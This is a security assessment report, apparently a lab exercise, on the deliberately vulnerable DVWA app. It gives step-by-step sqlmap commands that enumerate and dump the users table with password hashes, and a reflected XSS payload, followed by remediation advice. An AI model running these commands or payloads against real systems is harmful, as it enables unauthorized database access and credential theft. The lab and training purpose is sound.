

Web Application Security Assessment Report

1. Executive Summary

This assessment evaluated the security posture of the DVWA web application against common OWASP Top 10 vulnerabilities. Both manual and automated testing techniques were used to identify weaknesses in authentication, input validation, and session handling. High-risk vulnerabilities were discovered that could allow unauthorized access and data compromise if exploited.

2. Technical Findings

Testing identified critical issues such as SQL Injection and weak authentication controls. SQL Injection allowed backend database interaction due to improper input handling. Weak password enforcement increased the risk of account compromise. These vulnerabilities indicate insufficient security controls at both application and configuration levels.

3. Findings Table

Finding ID	Vulnerability	CVSS Score	Remediation
F001	SQL Injection	9.1	Input validation, parameterized queries
F002	XSS	6.1	Output encoding, input sanitization

3.1) Sql Injection

- **Navigate:** <http://192.168.159.131/dvwa/>
- **Login (default creds):** admin:password
- Set DVWA Security Level to **Low**
- Select the sql injection tab
- In burp suite open proxy tab and click **intercept on**.
- Enter sql text in textbox and click submit
- Copy the request and paste in a file in kali linux.
- Replace **sql** with *



The screenshot shows the Burp Suite interface on the left and the DVWA application on the right. In the DVWA 'SQL Injection' page, a user ID of 'sql' has been entered. The Burp Suite request pane shows a captured GET request to the DVWA SQLi endpoint with a parameter 'id=id&Submit=Submit'. The Inspector pane displays the raw request and the selected text 'id=id&Submit=Submit'. The decoded URL is shown as 'http://192.168.159.131/dvwa/vulnerabilities/sql/?id=id&Submit=Submit'.

```
1 GET /dvwa/vulnerabilities/sqli/?id=*&Submit=Submit HTTP/1.1
2 Host: 192.168.159.131
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Referer: http://192.168.159.131/dvwa/vulnerabilities/sql/
8 Accept-Encoding: gzip, deflate, br
9 Cookie: security=low; PHPSESSID=3a5b5d32fee0ca451e236c8453a1c71b
10 Connection: keep-alive
11
```

- Run the command in the kali terminal
sqlmap -r sqli.txt --batch --dbs
- Sqlmap fetched some database

```
[07:05:40] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

- Capture the tables available in the dvwa database
sqlmap -r sqli.txt --batch -D dvwa --tables

```
[07:06:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL > 4.1
[07:06:34] [INFO] fetching tables for database: 'dvwa'
[07:06:34] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users      |
+-----+
```

- Capture the columns available in the users table



```
sqlmap -r sqli.txt --batch -D dvwa -T users --columns
```

Database: dvwa	
Table: users	
[6 columns]	
Column	Type
user	varchar(15)
avatar	varchar(70)
first_name	varchar(15)
last_name	varchar(15)
password	varchar(32)
user_id	int(6)

- Now capture all data available in the **users** table

```
sqlmap -r sqli.txt --batch -D dvwa -T users --dump
```

Database: dvwa		Accept-Language: en-US,en;q=0.9		Upgrade-Insecure-Requests: 1	
Table: users		User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/5		Accept:	
[5 entries]		user_id	user	avatar	password
1	admin	1	admin	http://172.16.123.129/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)
2	gordonb	2	gordonb	http://172.16.123.129/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f60853678922e03 (abc123)
3	1337	3	1337	http://172.16.123.129/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fc69216b (charley)
4	pablo	4	pablo	http://172.16.123.129/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
5	smithy	5	smithy	http://172.16.123.129/dvwa/hackable/users smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)

- Successfully enumerated databases, confirming SQL Injection

3.2) Check for XSS (manual payloads)

- Navigate:** <http://192.168.159.131/dvwa/>
- Login (default creds):** admin:password
- Set DVWA Security Level to **Low**
- Select the **xss reflected** tab
- In burp suite open proxy tab and click **intercept on**.
- Enter text '**xss**' in textbox and click submit

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A request is being processed to the URL http://192.168.159.131/dvwa/vulnerabilities/xss_r/?name=xss. The DVWA application is shown with a form asking 'What's your name?' containing the value 'xss'. The response shows the text 'Hello' followed by the user input 'xss'.

- In name parameter give the below script which will popup alert in the website
`<script>alert(1)</script>`



The screenshot shows the Burp Suite Professional interface. In the 'Proxy' tab, a request is captured from the 'Intercept' mode. The URL is `http://192.168.159.131/dvwa/vulnerabilities/xss_r/?name=xss#`. The 'Request' pane displays the raw HTTP traffic, including a `<script>alert(1)</script>` payload injected into the name parameter. The 'Inspector' pane shows the request attributes, query parameters, body parameters, cookies, and headers. The 'Response' pane shows a confirmation message: "192.168.159.131 says 1". Below the browser window, the DVWA application interface is visible, showing a success message: "Hello". The status bar at the bottom indicates "Memory: 164.3MB of 1.94GB".

- Successfully executed JavaScript payloads, confirming Cross-Site Scripting (XSS).

4. Remediation Plan

4.1 SQL Injection Remediation

- Use parameterized queries (prepared statements) for all database interactions
- Avoid dynamic SQL string concatenation
- Implement server-side input validation with strict allowlists
- Use ORM frameworks that enforce safe query handling
- Apply least-privilege access for database accounts
- Disable verbose database error messages in production



4.2 Cross-Site Scripting (XSS) Remediation

- Apply context-aware output encoding (HTML, attribute, JavaScript contexts)
- Implement server-side input sanitization
- Use modern frameworks with built-in XSS protection
- Set cookie flags: HttpOnly, Secure, SameSite
- Enforce a strict Content Security Policy (CSP)
- Avoid unsafe functions such as innerHTML, eval()